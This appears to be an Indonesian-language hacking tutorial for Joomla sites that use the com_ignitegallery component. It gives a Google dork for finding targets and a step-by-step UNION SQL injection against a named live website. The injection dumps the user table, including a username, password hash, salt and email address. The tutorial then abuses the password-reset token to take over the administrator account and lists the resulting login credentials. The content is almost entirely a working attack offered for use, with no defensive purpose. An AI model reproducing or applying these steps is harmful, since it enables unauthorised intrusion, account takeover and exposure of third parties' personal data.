Dork uncle google : inurl:index.php?option=com_ignitegallery

exp target: http://sulysunny.com/index.php?option=com_ignitegallery&Itemid=57


Edit di belakangnya seperti ini.

?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28username,0x3a,password,0x3a,email,0x3a,activation,0x3a,usertype,0x3c62723e%29,4,5,6,7,8,9,10+from+jos_users--

exp : http://sulysunny.com/index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28username,0x3a,password,0x3a,email,0x3a,activation,0x3a,usertype,0x3c62723e%29,4,5,6,7,8,9,10+from+jos_users--


Amati/Fokus mendalam
exp : joey:89143e2af0df46bd73034bba7caf27e4:OqGo1BDqKhOz7nPI18Xf3JSILKwsEe9s:adamloled50@gmail.com:


Edit lagi url nya seperti ini.

?option=com_user&view=reset

exp : http://sulysunny.com/index.php?option=com_user&view=reset


Masukkan emailnya.

exp : adamloled50@gmail.com


Buka tab baru,  buka semula webnya seperti ini.

ex : http://sulysunny.com/index.php?option=com_ignitegallery&task=view&gallery=-4+union+all+select+1,2,group_concat%28username,0x3a,password,0x3a,email,0x3a,activation,0x3a,usertype,0x3c62723e%29,4,5,6,7,8,9,10+from+jos_users--


Fokus perubahan data user yang sama.

ex :
joey:89143e2af0df46bd73034bba7caf27e4:OqGo1BDqKhOz7nPI18Xf3JSILKwsEe9s:adamloled50@gmail.com:025ad4551b7ee8d259e1c1e059aefff2


(setelah email adalah token key utk merubah password user tersebut.)



Masukkan token keynya.
Ganti password adminnya.
Login terus.

Login ke: http://sulysunny.com/administrator/
User : joey
Pass : JaDo3L


>> INFO <<



Forget A Password :-
index.php?option=com_user&view=reset


Its Find E-Mail:-
(0x3a,username,0x3a,email,0x3a,password,0x3a,activation)


Its Find Username :-
(0x3a,username,0x3a,email,0x3a,password,0x3a,activation)


Its Find Admin Profile:-
(username,0x3a,password)


Its Find Token :-
(0x3a,username,0x3a,email,0x3a,0x3a,activation)


Its Find Login/Outlogin
index.php?option=com_user&view=login


1. inurl:"option=com_juser"
2. its find error sites, Some Site :-


(0x3a,username,0x3a,email,0x3a,0x3a,activation)
(0x3a,username,0x3a,email,0x3a,activation)